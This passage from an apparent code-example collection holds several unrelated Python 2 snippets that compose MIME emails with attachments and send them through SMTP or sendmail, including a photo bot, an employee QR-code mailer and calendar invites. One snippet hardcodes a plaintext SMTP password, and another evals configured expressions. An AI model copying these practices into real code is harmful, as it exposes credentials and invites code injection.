                file_attach = MIMEBase('application', "octet-stream")
                file_attach.set_payload(open(("%s" % file_path), "rb").read())
                Encoders.encode_base64(file_attach)
                file_name = (((file_path.split('/'))[-1]).strip())
                file_attach.add_header('Content-Disposition',
                                       'attachment; filename="%s"' % file_name)
                msg.attach(file_attach)
                break
        except:
            print('Incorrect Key, try again with "y" or "n"')

    password = ((getpass("Password: ")).strip())

    msg['Subject'] = subject
    #server = smtplib.SMTP('smtp.live.com', 587) # live.com, by example
    server = smtplib.SMTP(smtp_server, smtp_port)
    server.ehlo()
    server.starttls()
    server.ehlo()
    server.login(mail_from, password)
    server.sendmail(mail_from, mail_to, msg.as_string())
    server.quit()
Exemple #34
0
toaddr = mykeys.belen

msg = MIMEMultipart()

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = 'foto para {0}'.format(toaddr)

body = "Hola Belen soy el OjetoBot me podrias confirmar si te llego una imagen?"

msg.attach(MIMEText(body, 'plain'))

filename = "20171116-223337.jpg"
attachment = open("/home/pi/pypics/20171116-223337.jpg", "rb")

part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)

msg.attach(part)

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, mykeys.ojeto_email_pass)
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

print('email sent to {0}'.format(toaddr))
Exemple #35
0
    def build_email(self,
                    email_from,
                    email_to,
                    subject,
                    body,
                    email_cc=None,
                    email_bcc=None,
                    reply_to=False,
                    attachments=None,
                    message_id=None,
                    references=None,
                    object_id=False,
                    subtype='plain',
                    headers=None,
                    body_alternative=None,
                    subtype_alternative='plain'):
        """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it.

           :param string email_from: sender email address
           :param list email_to: list of recipient addresses (to be joined with commas) 
           :param string subject: email subject (no pre-encoding/quoting necessary)
           :param string body: email body, of the type ``subtype`` (by default, plaintext).
                               If html subtype is used, the message will be automatically converted
                               to plaintext and wrapped in multipart/alternative, unless an explicit
                               ``body_alternative`` version is passed.
           :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative``
           :param string reply_to: optional value of Reply-To header
           :param string object_id: optional tracking identifier, to be included in the message-id for
                                    recognizing replies. Suggested format for object-id is "res_id-model",
                                    e.g. "12345-crm.lead".
           :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'),
                                  must match the format of the ``body`` parameter. Default is 'plain',
                                  making the content part of the mail "text/plain".
           :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain'
                                              or 'html'). Default is 'plain'.
           :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string
                                    containing the bytes of the attachment
           :param list email_cc: optional list of string values for CC header (to be joined with commas)
           :param list email_bcc: optional list of string values for BCC header (to be joined with commas)
           :param dict headers: optional map of headers to set on the outgoing mail (may override the
                                other headers, including Subject, Reply-To, Message-Id, etc.)
           :rtype: email.message.Message (usually MIMEMultipart)
           :return: the new RFC2822 email message
        """
        email_from = email_from or tools.config.get('email_from')
        assert email_from, "You must either provide a sender address explicitly or configure "\
                           "a global sender address in the server configuration or with the "\
                           "--email-from startup parameter."

        # Note: we must force all strings to to 8-bit utf-8 when crafting message,
        #       or use encode_header() for headers, which does it automatically.

        headers = headers or {}  # need valid dict later

        if not email_cc: email_cc = []
        if not email_bcc: email_bcc = []
        if not body: body = u''

        email_body_utf8 = ustr(body).encode('utf-8')
        email_text_part = MIMEText(email_body_utf8,
                                   _subtype=subtype,
                                   _charset='utf-8')
        msg = MIMEMultipart()

        if not message_id:
            if object_id:
                message_id = tools.generate_tracking_message_id(object_id)
            else:
                message_id = make_msgid()
        msg['Message-Id'] = encode_header(message_id)
        if references:
            msg['references'] = encode_header(references)
        msg['Subject'] = encode_header(subject)
        msg['From'] = encode_rfc2822_address_header(email_from)
        del msg['Reply-To']
        if reply_to:
            msg['Reply-To'] = encode_rfc2822_address_header(reply_to)
        else:
            msg['Reply-To'] = msg['From']
        msg['To'] = encode_rfc2822_address_header(COMMASPACE.join(email_to))
        if email_cc:
            msg['Cc'] = encode_rfc2822_address_header(
                COMMASPACE.join(email_cc))
        if email_bcc:
            msg['Bcc'] = encode_rfc2822_address_header(
                COMMASPACE.join(email_bcc))
        msg['Date'] = formatdate()
        # Custom headers may override normal headers or provide additional ones
        for key, value in headers.iteritems():
            msg[ustr(key).encode('utf-8')] = encode_header(value)

        if subtype == 'html' and not body_alternative and html2text:
            # Always provide alternative text body ourselves if possible.
            text_utf8 = tools.html2text(
                email_body_utf8.decode('utf-8')).encode('utf-8')
            alternative_part = MIMEMultipart(_subtype="alternative")
            alternative_part.attach(
                MIMEText(text_utf8, _charset='utf-8', _subtype='plain'))
            alternative_part.attach(email_text_part)
            msg.attach(alternative_part)
        elif body_alternative:
            # Include both alternatives, as specified, within a multipart/alternative part
            alternative_part = MIMEMultipart(_subtype="alternative")
            body_alternative_utf8 = ustr(body_alternative).encode('utf-8')
            alternative_body_part = MIMEText(body_alternative_utf8,
                                             _subtype=subtype_alternative,
                                             _charset='utf-8')
            alternative_part.attach(alternative_body_part)
            alternative_part.attach(email_text_part)
            msg.attach(alternative_part)
        else:
            msg.attach(email_text_part)

        if attachments:
            for (fname, fcontent) in attachments:
                filename_rfc2047 = encode_header_param(fname)
                part = MIMEBase('application', "octet-stream")

                # The default RFC2231 encoding of Message.add_header() works in Thunderbird but not GMail
                # so we fix it by using RFC2047 encoding for the filename instead.
                part.set_param('name', filename_rfc2047)
                part.add_header('Content-Disposition',
                                'attachment',
                                filename=filename_rfc2047)

                part.set_payload(fcontent)
                Encoders.encode_base64(part)
                msg.attach(part)
        return msg
Exemple #36
0
def send_email(sender, cc_recipients, bcc_recipients, subject, body, attachments=None):
    """Send an email.

    All arguments should be Unicode strings (plain ASCII works as well).

    Only the real name part of sender and recipient addresses may contain
    non-ASCII characters.

    The email will be properly MIME encoded and delivered though SMTP to
    172.17.0.1.  This is easy to change if you want something different.

    The charset of the email will be the first one out of US-ASCII, ISO-8859-1
    and UTF-8 that can represent all the characters occurring in the email.
    """
    
    # combined recipients
    recipients = cc_recipients + bcc_recipients

    # Header class is smart enough to try US-ASCII, then the charset we
    # provide, then fall back to UTF-8.
    header_charset = 'ISO-8859-1'

    # We must choose the body charset manually
    for body_charset in 'US-ASCII', 'ISO-8859-1', 'UTF-8':
        try:
            body.encode(body_charset)
        except UnicodeError:
            pass
        else:
            break

    # Split real name (which is optional) and email address parts
    sender_name, sender_addr = parseaddr(sender)
    parsed_cc_recipients = [parseaddr(rec) for rec in cc_recipients]
    parsed_bcc_recipients = [parseaddr(rec) for rec in bcc_recipients]
    #recipient_name, recipient_addr = parseaddr(recipient)

    # We must always pass Unicode strings to Header, otherwise it will
    # use RFC 2047 encoding even on plain ASCII strings.
    sender_name = str(Header(unicode(sender_name), header_charset))
    unicode_parsed_cc_recipients = []
    for recipient_name, recipient_addr in parsed_cc_recipients:
        recipient_name = str(Header(unicode(recipient_name), header_charset))
        # Make sure email addresses do not contain non-ASCII characters
        recipient_addr = recipient_addr.encode('ascii')
        unicode_parsed_cc_recipients.append((recipient_name, recipient_addr))
    unicode_parsed_bcc_recipients = []
    for recipient_name, recipient_addr in parsed_bcc_recipients:
        recipient_name = str(Header(unicode(recipient_name), header_charset))
        # Make sure email addresses do not contain non-ASCII characters
        recipient_addr = recipient_addr.encode('ascii')
        unicode_parsed_bcc_recipients.append((recipient_name, recipient_addr))

    # Make sure email addresses do not contain non-ASCII characters
    sender_addr = sender_addr.encode('ascii')

    # Create the message ('plain' stands for Content-Type: text/plain)
    msg = MIMEMultipart()
    msg['CC'] = COMMASPACE.join([formataddr((recipient_name, recipient_addr))
                                 for recipient_name, recipient_addr in unicode_parsed_cc_recipients])
    msg['BCC'] = COMMASPACE.join([formataddr((recipient_name, recipient_addr))
                                  for recipient_name, recipient_addr in unicode_parsed_bcc_recipients])
    msg['Subject'] = Header(unicode(subject), header_charset)
    msg['FROM'] = "*****@*****.**"
    msg.attach(MIMEText(body.encode(body_charset), 'plain', body_charset))
    
    # Add attachments
    if isinstance(attachments, types.DictType):
        for fname in attachments:
            part = MIMEBase('application', "octet-stream")
            part.set_payload(attachments[fname])
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition', 'attachment; filename="%s"' % fname)
            msg.attach(part)

    # Send the message via SMTP to docker host
    smtp_url = "smtp://127.0.0.1:25"
    logger.info("smtp_url : %s" % smtp_url)
    smtp = SMTP("127.0.0.1")
    smtp.sendmail(sender, recipients, msg.as_string())
    smtp.quit()
    def Submit(self):
        #Set Progress bar to 0
        self.progressBar.setValue(0)

        #Setting variables to the text input from the text edit
        number = 1
        first_name = str(self.lineEdit.text())
        last_name = str(self.lineEdit_2.text())
        toaddr = str(self.lineEdit_3.text())
        new_ID = str.upper("".join([last_name[:4], "00", str(number)]))
        unique = False
        #Updating progress baar
        self.progressBar.setValue(10)

        #Open "EmployeeList.csv" for reading to create a unique ID
        with open('EmployeeList.csv', 'rb') as f:
            reader = csv.reader(f)
            while unique == False:
                for row in reader:
                    #If ID is not unique change last digit by 1
                    if row[0] == new_ID:
                        number = number + 1
                        new_ID = str.upper("".join(
                            [last_name[:4], "00",
                             str(number)]))
                unique = True

        #Update Progress bar
        self.progressBar.setValue(20)

        #Create unique QR code for employee and finding filepath for it
        myCode = QR(data=new_ID, pixel_size=10)
        myCode.encode()
        filepath = myCode.filename
        #Update progress bar
        self.progressBar.setValue(30)

        #Moving QR file from temp folder into directory folder
        QRfile = filepath.split("/")
        shutil.move(filepath, os.getcwd() + "/" + new_ID + ".png")
        #Update Progress Bar
        self.progressBar.setValue(40)

        #Email QR code file to employee's email address
        fromaddr = "*****@*****.**"
        msg = MIMEMultipart()
        msg['From'] = fromaddr
        msg['To'] = toaddr
        msg['Subject'] = 'Employee QR Code'
        body = 'Attached is your QR code'
        self.progressBar.setValue(50)

        msg.attach(MIMEText(body, 'plain'))
        filename = new_ID + ".png"
        attachment = open(new_ID + ".png", "rb")
        self.progressBar.setValue(60)

        part = MIMEBase('application', 'octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        "attachment; filename= %s" % filename)
        self.progressBar.setValue(70)

        msg.attach(part)
        server = smtplib.SMTP('smtp.live.com', 587)
        server.starttls()
        self.progressBar.setValue(80)

        server.login(fromaddr, "lala05")
        text = msg.as_string()
        server.sendmail(fromaddr, toaddr, text)
        server.quit()
        self.progressBar.setValue(90)

        #Open "EmployeeList.csv" apending their information to it
        with open('EmployeeList.csv', 'ab') as f:
            writer = csv.writer(f)
            writer.writerow(
                [new_ID, (" ".join([first_name, last_name])), manager_status])
            f.close()
        #Remove newly created QR file
        os.remove(new_ID + ".png")

        #Clear all text edit lines for easy input of new employee
        self.lineEdit.clear()
        self.lineEdit_2.clear()
        self.lineEdit_3.clear()
        self.radioNo.setChecked(True)
        #Finish progress bar
        self.progressBar.setValue(100)
Exemple #38
0
            server_id = ini.get('general', 'server_id')

            toaddrs = [email]
            subject = 'scalarizr report from hostname %s (role: %s , serverid: %s)' % (
                hostname, role_name, server_id)

            msg = MIMEMultipart()
            msg['From'] = fromaddr
            msg['To'] = email
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = subject

            text_msg = MIMEText(subject)
            msg.attach(text_msg)

            part = MIMEBase('application', "octet-stream")
            part.set_payload(open(tar_file, "rb").read())
            Encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(tar_file))
            msg.attach(part)

            for server in get_mx_records(email):
                try:
                    print 'Sending message to %s through %s' % (email, server)
                    smtp = smtplib.SMTP(server)
                    smtp.sendmail(fromaddr, toaddrs, msg.as_string())
                    break
                except (Exception, BaseException), e:
                    print e, '\nTrying next mx entry'
Exemple #39
0
def render_email(from_email,
                 to,
                 subject,
                 text_template=None,
                 html_template=None,
                 cc=None,
                 attachments=None,
                 **context):
    """
    Read the templates for email messages, format them, construct
    the email from them and return the corresponding email message
    object.
    :param from_email: Email From
    :param to: Email IDs of direct recepients (list)
    :param subject: Email subject
    :param text_template: String of rendered template with context
        eg in flask: str(render_template(text_template, **context)
    :param html_template: String of transfomed rendered template with context
        eg in flask: str(transform(render_template(html_template, **context)))
        for transform https://premailer.io python library
    :param cc: Email IDs of Cc recepients (list)
    :param attachments: A dict of filename:string as key value pair
                        [preferable file buffer streams]
    :param context: Context to be sent to template rendering
    :return: Email multipart instance or Text/HTML part
    """
    if not (text_template or html_template):
        raise Exception("Atleast HTML or TEXT template is required")

    text_part = None
    if text_template:
        text_part = MIMEText(text_template.encode("utf-8"),
                             'plain',
                             _charset="UTF-8")

    html_part = None
    if html_template:
        html_part = MIMEText(html_template.encode("utf-8"),
                             'html',
                             _charset="UTF-8")

    if text_part and html_part:
        # Construct an alternative part since both the HTML and Text Parts
        # exist.
        message = MIMEMultipart('alternative')
        message.attach(text_part)
        message.attach(html_part)
    else:
        # only one part exists, so use that as the message body.
        message = text_part or html_part

    if attachments:
        # If an attachment exists, the MimeType should be mixed and the
        # message body should just be another part of it.
        message_with_attachments = MIMEMultipart('mixed')

        # Set the message body as the first part
        message_with_attachments.attach(message)

        # Now the message _with_attachments itself becomes the message
        message = message_with_attachments

        for filename, content in attachments.items():
            part = MIMEBase('application', "octet-stream")
            part.set_payload(content)
            Encoders.encode_base64(part)
            # XXX: Filename might have to be encoded with utf-8,
            # i.e., part's encoding or with email's encoding
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % filename)
            message.attach(part)

    # If list of addresses are provided for to and cc, then convert it
    # into a string that is "," separated.
    if isinstance(to, (list, tuple)):
        to = ', '.join(to)
    if isinstance(cc, (list, tuple)):
        cc = ', '.join(cc)

    # We need to use Header objects here instead of just assigning the strings
    # in order to get our headers properly encoded (with QP).
    message['Subject'] = Header(subject, 'ISO-8859-1')

    # TODO handle case where domain contains non-ascii letters
    # https://docs.aws.amazon.com/ses/latest/APIReference/API_Destination.html
    message['From'] = from_email
    message['To'] = to
    if cc:
        message['Cc'] = cc

    return message
def gencsv(out):

    #new_data=str(out.replace("msg: all out "," "))
    #second op
    #new_data=str(out) uncomment if below command do not work
    new_data = re.sub("msg: all out", "",
                      str(out))  #put \" before  all, comment if not wrk
    #print(new_data)
    register = new_data.split("-")

    #-------------------clear sample.csv to empy file
    sample = open("sample.csv", "w")
    sample.write("")
    sample.close()

    #----------extract info block
    try:
        with open("sample.csv", "a") as fl:
            data = csv.writer(fl, delimiter=",")
            data.writerow([
                "IP", "HOSTNAME", "OS VERSION", "CPU USAGE", "MEMORY USAGE",
                "ANSIBLE VERSION", "NGINX STATUS", "DB STATUS"
            ])
            print(
                "Output:\n\tPlease check sample.csv file in your current dir\n"
            )
            for rowReg in register:
                dt = open("raw-data.csv", "a")
                dt.write(str(rowReg).replace(" ", ""))
                dt.close()
            with open("raw-data.csv", "r") as fl:
                csv_data = csv.reader(fl, delimiter=",")
                for row in csv_data:
                    data.writerow([
                        str(row[0]).replace("Ip", ""),
                        str(row[1]).replace("hostnames", ""),
                        str(row[2]).replace("os_version",
                                            "").replace(" ", "No"),
                        str(row[3]).replace("cpu", ""),
                        str(row[4]).replace("mem", ""),
                        str(row[5]).replace("ansible", ""),
                        str(row[6]).replace("nginx", ""),
                        str(row[7]).replace("db", "")
                    ])
                    #print([str(row[0]).replace("Ip",""),str(row[1]).replace("hostnames",""),str(row[2]).replace("os_version",""),str(row[3]).replace("cpu",""),str(row[4]).replace("mem",""),str(row[5]).replace("ansible",""),str(row[6]).replace("nginx",""),str(row[7]).replace("db","")])

    finally:
        subprocess.Popen("rm -rf raw-data.csv",
                         shell=True,
                         stdout=subprocess.PIPE)  #remove temporary file

    #replacing NaN value with No
    rData = pd.read_csv("sample.csv", index_col="IP")
    rData = rData.fillna("NO")
    rData["DB STATUS"].replace("\.0", "", regex=True, inplace=True)
    print(rData)
    rData.to_csv("sample.csv", sep=",", encoding="utf-8")

    #sed command -uncomment next two command if re.sub above do not work
    #subprocess.Popen("sed 's/msg:\"allout//' sample.csv > sample1.csv", shell=True, stdout=subprocess.PIPE) #remove msg:"allout
    #subprocess.Popen("mv sample1.csv sample.csv", shell=True, stdout=subprocess.PIPE)

    #--sending mail
    msg = MIMEMultipart()
    msg["From"] = "*****@*****.**"
    msg["To"] = "*****@*****.**"
    msg["Subject"] = "Report Ansible."

    part = MIMEBase('application', "octet-stream")
    part.set_payload(open("sample.csv", "rb").read())
    Encoders.encode_base64(part)

    part.add_header('Content-Disposition', 'attachment', filename="sample.csv")

    msg.attach(part)

    p = subprocess.Popen(["/usr/sbin/sendmail", "-t", "-oi"],
                         stdin=subprocess.PIPE)
    p.communicate(msg.as_string())
Exemple #41
0
def send_email(address, name, start, end, service):
    import smtplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders
    import os, datetime

    CRLF = "\r\n"
    login = "******"
    password = "******"
    attendees = [address]
    organizer = "ORGANIZER;CN=Deemaz:mailto:[email protected]"
    fro = "Deemaz <*****@*****.**>"
    deemaz = '*****@*****.**' if DEBUG else '*****@*****.**'

    ddtstart = start
    dur = end - start
    ddtstart = ddtstart
    dtend = ddtstart + dur
    dtstamp = str(datetime.datetime.now().strftime("%Y%m%dT%H%M%S+0300"))
    dtstart = str(ddtstart.strftime("%Y%m%dT%H%M%S+0300"))
    dtstartx = str(ddtstart.strftime("%Y-%m-%d %H:%M"))
    dtend = str(dtend.strftime("%Y%m%dT%H%M%S+0300"))

    description = u"DESCRIPTION: Deemaz" + service + CRLF
    description_deemaz = u"DESCRIPTION:" + name + u" " + service + CRLF
    attendee = ""
    for att in attendees:
        attendee += "ATTENDEE;UTYPE=INDIVIDUAL;ROLE=REQ-    PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE" + CRLF + " ;CN=" + att + ";X-NUM-GUESTS=0:" + CRLF + " mailto:" + att + CRLF
    ical = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF
    ical += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF
    ical += "UID:UUUUU" + dtstamp + CRLF
    ical += attendee + "CREATED:" + dtstamp + CRLF + description + "LAST-MODIFIED:" + dtstamp + CRLF + "LOCATION:" + CRLF + "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF
    ical += u"SUMMARY:Deemaz " + service + CRLF + "TRANSP:OPAQUE" + CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF

    ical_deemaz = "BEGIN:VCALENDAR" + CRLF + "PRODID:pyICSParser" + CRLF + "VERSION:2.0" + CRLF + "CALSCALE:GREGORIAN" + CRLF
    ical_deemaz += "METHOD:REQUEST" + CRLF + "BEGIN:VEVENT" + CRLF + "DTSTART:" + dtstart + CRLF + "DTEND:" + dtend + CRLF + "DTSTAMP:" + dtstamp + CRLF + organizer + CRLF
    ical_deemaz += "UID:UUUUU" + dtstamp + CRLF
    ical_deemaz += attendee + "CREATED:" + dtstamp + CRLF + description_deemaz + "LAST-MODIFIED:" + dtstamp + CRLF + "LOCATION:" + CRLF + "SEQUENCE:0" + CRLF + "STATUS:CONFIRMED" + CRLF
    ical_deemaz += u"SUMMARY:" + name + u" " + service + CRLF + "TRANSP:OPAQUE" + CRLF + "END:VEVENT" + CRLF + "END:VCALENDAR" + CRLF

    eml_body = u"Приглашение на стрижку: " + name + ", " + dtstartx
    eml_body_deemaz = u"Информация о стрижке: " + name + u" " + service
    msg = MIMEMultipart('mixed')
    msg_deemaz = MIMEMultipart('mixed')
    msg['Reply-To'] = fro
    msg_deemaz['Reply-To'] = fro
    msg['Date'] = formatdate(localtime=True)
    msg_deemaz['Date'] = formatdate(localtime=True)
    msg['Subject'] = (service + u" " + dtstartx).encode('utf-8')
    msg_deemaz['Subject'] = (name + u" " + service).encode('utf-8')
    msg['From'] = fro
    msg_deemaz['From'] = fro
    msg['To'] = ",".join(attendees)
    msg_deemaz['To'] = ",".join([deemaz])

    part_email = MIMEText(eml_body.encode('utf-8'), "html", "utf-8")
    part_email_deemaz = MIMEText(eml_body_deemaz.encode('utf-8'), "html",
                                 "utf-8")
    part_cal = MIMEText(ical, 'calendar;method=REQUEST', "utf-8")
    part_cal_deemaz = MIMEText(ical_deemaz, 'calendar;method=REQUEST', "utf-8")

    msgAlternative = MIMEMultipart('alternative')
    msgAlternativeD = MIMEMultipart('alternative')
    msg.attach(msgAlternative)
    msg_deemaz.attach(msgAlternativeD)

    ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics"))
    ical_atch_deemaz = MIMEBase('application/ics',
                                ' ;name="%s"' % ("invite.ics"))
    ical_atch.set_payload(ical.encode('utf-8'))
    ical_atch_deemaz.set_payload(ical.encode('utf-8'))
    Encoders.encode_base64(ical_atch)
    Encoders.encode_base64(ical_atch_deemaz)
    ical_atch.add_header('Content-Disposition',
                         'attachment; filename="%s"' % ("invite.ics"))
    ical_atch_deemaz.add_header('Content-Disposition',
                                'attachment; filename="%s"' % ("invite.ics"))

    eml_atch = MIMEBase('text/plain', '')
    Encoders.encode_base64(eml_atch)
    eml_atch.add_header('Content-Transfer-Encoding', "")

    msgAlternative.attach(part_email)
    msgAlternativeD.attach(part_email_deemaz)

    msgAlternative.attach(part_cal)
    msgAlternativeD.attach(part_cal_deemaz)

    mailServer = smtplib.SMTP('smtp.locum.ru', 25)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(login, password)
    mailServer.sendmail(fro, attendees, msg.as_string())
    mailServer.sendmail(fro, [deemaz], msg_deemaz.as_string())
    mailServer.close()
Exemple #42
0
def gmail_attachment(recipient, subject, body, attachment_fullpath, sender,
                     senderpwd, ccnamelisttext):
    import smtplib
    server = 'smtp.gmail.com'
    port = 587
    headers = [
        "From: " + sender, subject, recipient, "MIME-Version: 1.0",
        "Content-Type: text/html"
    ]
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email import Encoders
    import os
    gmail_user = sender
    gmail_pwd = senderpwd
    msg = MIMEMultipart()
    msg['From'] = gmail_user
    msg['To'] = recipient
    msg['Cc'] = ccnamelisttext
    msg['Subject'] = subject
    msg.attach(MIMEText(body))
    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(attachment_fullpath, 'rb').read())
    Encoders.encode_base64(part)
    part.add_header(
        'Content-Disposition',
        'attachment; filename="%s"' % os.path.basename(attachment_fullpath))
    if attachment_fullpath == 'noattach':
        print "no attachment, now sending...."
    else:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(attachment_fullpath, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header(
            'Content-Disposition', 'attachment; filename="%s"' %
            os.path.basename(attachment_fullpath))
        msg.attach(part)
    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
    mailServer.ehlo()
    mailServer.starttls()
    mailServer.ehlo()
    mailServer.login(gmail_user, gmail_pwd)
    ##    mailServer.sendmail(gmail_user, recipient, msg.as_string())
    mailServer.sendmail(gmail_user,
                        msg["To"].split(",") + msg["Cc"].split(","),
                        msg.as_string())
    # Should be mailServer.quit(), but that crashes...
    mailServer.close()
Exemple #43
0
    def send(self, context=None):

        if context is None:
            context = {}

        if context.get("attachments") is None:
            context["attachments"] = {}

        def eval_member(key):
            expr = self.get(key)
            return eval(expr, context.copy()) if expr else None

        # MIME block
        mime_type = self.mime_type
        pos = mime_type.find("/")

        if pos != -1:
            mime_type = mime_type[pos + 1:]

        # Custom initialization code
        init_code = self.initialization_code
        if init_code:
            exec init_code in context

        # Subject and body (templates)
        if self.template_engine:
            template_engine = buffet.available_engines[self.template_engine]
            engine = template_engine(
                options={"mako.output_encoding": self.encoding})

            def render(field_name):
                markup = self.get(field_name)
                if markup:
                    template = engine.load_template(
                        "EmailTemplate." + field_name, self.get(field_name))
                    return engine.render(context, template=template)
                else:
                    return u""

            subject = render("subject").strip()
            body = render("body")
        else:
            subject = self.subject.encode(self.encoding)
            body = self.body.encode(self.encoding)

        message = MIMEText(body, _subtype=mime_type, _charset=self.encoding)

        # Attachments
        attachments = context.get("attachments")
        if attachments:
            attachments = dict((cid, attachment)
                               for cid, attachment in attachments.iteritems()
                               if attachment is not None)
            if attachments:
                message_text = message
                message = MIMEMultipart("related")
                message.attach(message_text)

                for cid, attachment in attachments.iteritems():

                    if isinstance(attachment, File):
                        file_path = attachment.file_path
                        file_name = attachment.file_name
                        mime_type = attachment.mime_type
                    else:
                        file_path = attachment
                        file_name = os.path.basename(file_path)
                        mime_type_guess = guess_type(file_path)
                        if mime_type_guess:
                            mime_type = mime_type_guess[0]
                        else:
                            mime_type = "application/octet-stream"

                    main_type, sub_type = mime_type.split('/', 1)
                    message_attachment = MIMEBase(main_type, sub_type)
                    message_attachment.set_payload(open(file_path).read())
                    Encoders.encode_base64(message_attachment)
                    message_attachment.add_header("Content-ID", "<%s>" % cid)
                    message_attachment.add_header(
                        'Content-Disposition',
                        'attachment; filename="%s"' % file_name)
                    message.attach(message_attachment)

        def format_email_address(address, encoding):
            name, address = parseaddr(address)
            name = Header(name, encoding).encode()
            address = address.encode('ascii')
            return formataddr((name, address))

        # Receivers (python expression)
        receivers = eval_member("receivers")
        if receivers:
            receivers = set(r.strip().encode(self.encoding) for r in receivers)

        if not receivers:
            return set()

        message["To"] = ", ".join([
            format_email_address(receiver, self.encoding)
            for receiver in receivers
        ])

        # Sender (python expression)
        sender = eval_member("sender")
        if sender:
            message['From'] = format_email_address(sender, self.encoding)

        # BCC (python expression)
        bcc = eval_member("bcc")
        if bcc:
            receivers.update(r.strip().encode(self.encoding) for r in bcc)

        if subject:
            message["Subject"] = Header(subject, self.encoding).encode()

        message["Date"] = formatdate()

        # Send the message
        smtp = Configuration.instance.connect_to_smtp()
        smtp.sendmail(sender, list(receivers), message.as_string())
        smtp.quit()

        return receivers
Exemple #44
0
def createMail(sender, recipients, subject, html_body, attachments=None, images=None, text_message=None, reply_to=''):
    # Create the root message and fill in the from, to, and subject headers
    msgRoot = EmailContent('related')
    msgRoot['Subject'] = subject
    msgRoot['From'] = sender
    msgRoot['To'] = string.join(recipients, ',')
    msgRoot.preamble = 'Message from jobhunt.in'
    msgRoot['Reply-To'] = reply_to
    msgRoot['Sender'] = reply_to

    # Encapsulate the plain and HTML versions of the message body in an
    # 'alternative' part, so message agents can decide which they want to display.
    msgAlternative = MIMEMultipart('alternative')
    msgRoot.attach(msgAlternative)

    #TODO:Confirm
    #Rumor: Real mail systems always send plain-text alternative (Except spammers)
    if not text_message:
        text_message = html2text.html2text(html_body)
    msgText = MIMEText(text_message, _charset='iso-8859-1')
    msgAlternative.attach(msgText)

    # Adding the Html message body
    # Reference the image in the IMG SRC attribute by the ID like <img src="cid:image1">
    msgText = MIMEText(html_body, _subtype='html')
    msgAlternative.attach(msgText)

    if images:
        # Adding the images
        # images are assumed to be in this format - {'image1':'images/chad.jpg', 'image2':'images/jessy.jpg'}
        for cid, filepath in images.iteritems():
            fp = open(filepath, 'rb')
            msgImage = MIMEImage(fp.read())
            fp.close()

            # Define the image's ID as referenced above
            msgImage.add_header('Content-ID', '<' + cid + '>')
            msgRoot.attach(msgImage)

    if attachments:
        # Adding the attachments
        # Attachments are assumed to be a list of filepaths
        for filepath in attachments:
            # Guess the content type based on the file's extension.  Encoding
            # will be ignored, although we should check for simple things like
            # gzip'd or compressed files.
            ctype, encoding = mimetypes.guess_type(filepath)
            if ctype is None or encoding is not None:
                # No guess could be made, or the file is encoded (compressed), so
                # use a generic bag-of-bits type.
                ctype = 'application/octet-stream'
            maintype, subtype = ctype.split('/', 1)
            if maintype == 'text':
                fp = open(filepath)
                # Note: we should handle calculating the charset
                msg = MIMEText(fp.read(), _subtype=subtype)
                fp.close()
            elif maintype == 'image':
                fp = open(filepath, 'rb')
                msg = MIMEImage(fp.read(), _subtype=subtype)
                fp.close()
            elif maintype == 'audio':
                fp = open(filepath, 'rb')
                msg = MIMEAudio(fp.read(), _subtype=subtype)
                fp.close()
            else:
                fp = open(filepath, 'rb')
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(fp.read())
                fp.close()
                # Encode the payload using Base64
                encoders.encode_base64(msg)
            # Set the filename parameter
            msg.add_header('Content-Disposition', 'attachment', filename=os.path.split(filepath)[1])
            msgRoot.attach(msg)                
    return msgRoot
def sendMail(tool, to, subject, body, attachments=None):
    '''Sends a mail, via p_tool.mailHost, to p_to (a single email address or a
       list of email addresses).'''
    # Just log things if mail is disabled
    fromAddress = tool.mailFrom
    if not tool.mailEnabled or not tool.mailHost:
        if not tool.mailHost:
            msg = ' (no mailhost defined)'
        else:
            msg = ''
        tool.log('Mail disabled%s: should send mail from %s to %s.' % \
                 (msg, fromAddress, str(to)))
        tool.log('Subject: %s' % subject)
        tool.log('Body: %s' % body)
        if attachments:
            tool.log('%d attachment(s).' % len(attachments))
        return
    tool.log('Sending mail from %s to %s (subject: %s).' % \
             (fromAddress, str(to), subject))
    # Create the base MIME message
    body = MIMEText(body, 'plain', 'utf-8')
    if attachments:
        msg = MIMEMultipart()
        msg.attach(body)
    else:
        msg = body
    # Add the header values
    msg['Subject'] = Header(subject, 'utf-8')
    msg['From'] = fromAddress
    if isinstance(to, basestring):
        msg['To'] = to
    else:
        if len(to) == 1:
